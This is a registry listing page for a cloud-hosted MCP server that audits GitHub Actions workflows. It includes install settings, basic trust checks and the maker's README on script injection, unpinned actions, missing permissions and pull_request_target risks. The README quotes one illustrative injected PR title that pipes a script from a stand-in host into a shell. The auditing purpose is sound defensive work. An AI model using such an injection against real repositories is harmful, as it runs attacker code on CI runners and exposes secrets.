GitHub Actions Security Audit

Name: GitHub Actions Security Audit
Author: tylerscomic-lab

by tylerscomic-labversion 1.0.0i★ –iRuns in the cloud

Registry nameio.github.tylerscomic-lab/github-actions-audit-mcp

Install

Overview

Description from the maker (original English)

Audit GitHub Actions workflows for script injection, unpinned actions and missing permissions.

PopNx MCP’s three pillars

These three are never merged into one score: opinions, measurements and popularity are different things.

User voiceiNo reviews yetReviews open together with accounts in a later step
Our basic checksi1 of 1 passedChecked from public information; code not scanned yet
UsageiNot measured yet★ –

What you can do with it

We have not written a plain-language summary for this one yet. Below are the facts we read from the registry.

Connection: Runs in the cloud
Transport: Streamable HTTP
Category: Developer tools

Install

Pick the AI app you use, then copy the settings.

Before you install

Basic checks: 1 of 1 passed
Runs on the maker’s server: what you ask it goes through their server.
The registry lists no key to fill in.

You need

Runs in the cloudNothing to install; it connects over the internet

Which app do you use?

ClaudeClaude CodeCursorVS CodeChatGPT

Pick your app above. We remember it, so next time the button says “Install in …”.

Works in Claude on the web, desktop and mobile:

Open Settings → Connectors
Press Add custom connector
Paste the address below and press Add
If it asks you to sign in, sign in with the maker

https://github-actions-audit-mcp.mcpize.run/mcp

Run this in your terminal

claude mcp add --transport http github-actions-audit https://github-actions-audit-mcp.mcpize.run/mcp

Open in Cursor

Or copy the settings yourself

Paste into .cursor/mcp.json in your project, or ~/.cursor/mcp.json

{
  "mcpServers": {
    "github-actions-audit": {
      "url": "https://github-actions-audit-mcp.mcpize.run/mcp"
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

Open in VS Code

Or copy the settings yourself

Paste into .vscode/mcp.json in your project

{
  "servers": {
    "github-actions-audit": {
      "type": "http",
      "url": "https://github-actions-audit-mcp.mcpize.run/mcp"
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

ChatGPT connects only to servers on the internet:

Open ChatGPT on the web → Settings → Connectors (Apps)
Press Create or Add (some plans need Developer mode under Advanced first)
Paste the address below, give it a name and save
If it asks you to sign in, sign in with the maker

https://github-actions-audit-mcp.mcpize.run/mcp

Menu names can differ slightly by plan and over time.

Your choice stays on this device in a cookie; no account needed.

These settings are generated from the maker’s registry entry. If the README says otherwise, follow the README.

What it can do

We have not read this server’s tool list yet; we check endpoints in rotation.

Basic checksi

We check information anyone can see; we have not read the code. Checks that do not apply are left out of the count. · Checked Nov 6, 2026

✓ Pass
Maker matches the repo
The registry name was verified with the GitHub account tylerscomic-lab, which owns the repo
… Not checked yet
Still maintained
We have not read this repo from GitHub yet
… Not checked yet
Has a licence
We have not read this repo from GitHub yet
… Not checked yet
Endpoint responds
Not checked yet; we check endpoints in rotation
… Not checked yet
Sign-in with OAuth
Not checked yet; we check endpoints in rotation
… Not checked yet
No hidden instructions in tool descriptions
Not checked yet; we read the tool list when we check the endpoint

Compared with others in Developer toolsi

More stars than 0% of the other 1389 servers in this category
Published to the registry more recently than 60% of the other 1389 servers in this category
Basic checks equal to or better than 100% of the other 1389 servers in this category

Compared with every active server in this category in the registry. Stars count only when the publisher owns the repo.

Common questions

Is GitHub Actions Security Audit safe?

It passed 1 of 1 applicable basic checks. We have not read the code. Before adding a key or token, see what access the server asks for and use a key with only the permissions you need.

What keys or codes does it need?

The registry does not list a required key, though some servers ask you to sign in on first use.

Does it run on my computer or in the cloud?

It runs in the maker’s cloud. Connect over the internet with nothing to install, but what you send passes through the maker’s servers.

Is it still maintained?

The GitHub repo last changed –, and the latest version (1.0.0) reached the registry 36 days ago.

Which apps can use it?

Apps that support MCP, such as Claude Desktop, Claude Code, Cursor and VS Code. It connects by URL, so apps that accept remote MCP servers work too, such as ChatGPT in developer mode.

What can I use instead?

In the same category: GitHub, Desktop Commander, Cloudflare MCP

Alternatives

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Reading a card:★ GitHub starsiThree pillars: reviews · checks · usageiUpdated = latest version published to the registryi

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GitHub’s official server lets AI read and manage code, issues and pull requests in your account. Use GitHub’s hosted version or run it locally with Docker.

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Install

Desktop Commander

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Cloudflare MCP

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Runs in the cloud★ 4,446Apache-2.0Updated 14 months ago

Install

README from the maker

Open the README

Copied from the maker’s repo as written. PopNx MCP has not reviewed or endorsed it. HTML, images and scripts are removed. Links lead off this site.

github-actions-audit-mcp

An MCP server that audits GitHub Actions workflow YAML for the real vulnerability classes that have caused actual incidents — not a linter, a security scanner. Parses genuine YAML structure (a hand-written block parser scoped to what workflow files actually use), not string/regex matching against the raw file.

What it catches

Script injection. Any ${{ github.event.issue.title }}-style expression that carries attacker-controlled text (issue/PR titles, comments, review bodies, branch names) interpolated directly into a run: shell step. The expression is substituted into the generated shell script *before* the shell runs it — a PR titled "; curl evil.sh | sh # becomes literal shell syntax, not a string. This is the single most common real-world GitHub Actions vulnerability. Flags the exact expression and shows the env-variable fix that actually neutralizes it.

Unpinned third-party actions. uses: some-action@v4 or @main can be repointed by whoever controls that tag/branch, without you changing a single character in your workflow file — this is exactly what happened in the tj-actions/changed-files compromise (March 2025), where a maintainer's PAT was used to retag v35–v46 to point at a credential-harvesting commit. Only a full 40-character commit SHA is immutable.

Missing `permissions:` blocks. No explicit permissions: means the GITHUB_TOKEN defaults to whatever your repo/org settings allow — often read-write. If any step is ever compromised, it inherits that full scope.

`pull_request_target` + head checkout. This trigger runs with the base repo's secrets and a write-scoped token (unlike plain pull_request), and if the workflow also checks out the PR's own head commit, a fork's PR can run arbitrary code with your secrets. Real supply-chain incidents follow this exact pattern.

Tools

`audit_workflow`

Full audit of a workflow YAML file. Returns a risk level and every finding with its exact location, why it's dangerous, and a concrete fix.

`check_expression_injection`

Focused check on a single shell command string, for when you just want to sanity-check one run: step without a full workflow file.

Use it

Hosted (recommended): MCPize — free tier, $7/mo Pro.

Self-host:

npm install

node server.js

Part of a small suite

regex-safety-audit-mcp, mcp-trust-audit-mcp, secrets-leak-audit-mcp, dockerfile-audit-mcp.

License

MIT

GitHub Actions Security Audit

Overview

PopNx MCP’s three pillars

What you can do with it

Install

Before you install

What it can do

Basic checksi

Maker matches the repo

Still maintained

Has a licence

Endpoint responds

Sign-in with OAuth

No hidden instructions in tool descriptions

Compared with others in Developer toolsi

Common questions

Alternatives

GitHub

Desktop Commander

Cloudflare MCP

README from the maker

github-actions-audit-mcp

What it catches

Tools

audit_workflow

check_expression_injection

Use it

Part of a small suite

License

`audit_workflow`

`check_expression_injection`